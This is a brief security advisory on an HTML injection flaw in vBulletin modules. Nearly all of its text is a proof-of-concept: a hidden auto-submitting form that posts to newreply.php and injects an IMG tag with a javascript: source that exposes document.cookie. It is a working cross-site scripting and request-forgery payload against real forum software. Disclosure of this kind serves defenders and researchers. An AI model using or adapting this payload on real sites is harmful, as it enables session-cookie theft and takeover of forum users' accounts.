VBulletin Multiple Module HTML Injection Vulnerability

VBulletin Multiple Module HTML Injection Vulnerability

No exploit is required.

The following proof of concept is available:
<form action="http://www.example.com/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="&lt;IMG src=&quot;javascript:alert(document.cookie)&quot;&gt;"/>
<input name="do" value="postreply"/>
<input name="t" value="123456" />
<input name="p" value="123456" />
<input type="submit" class="button" name="preview"/>
</form>
&lt;script&gt;
document.all.preview.click();
&lt;/script&gt;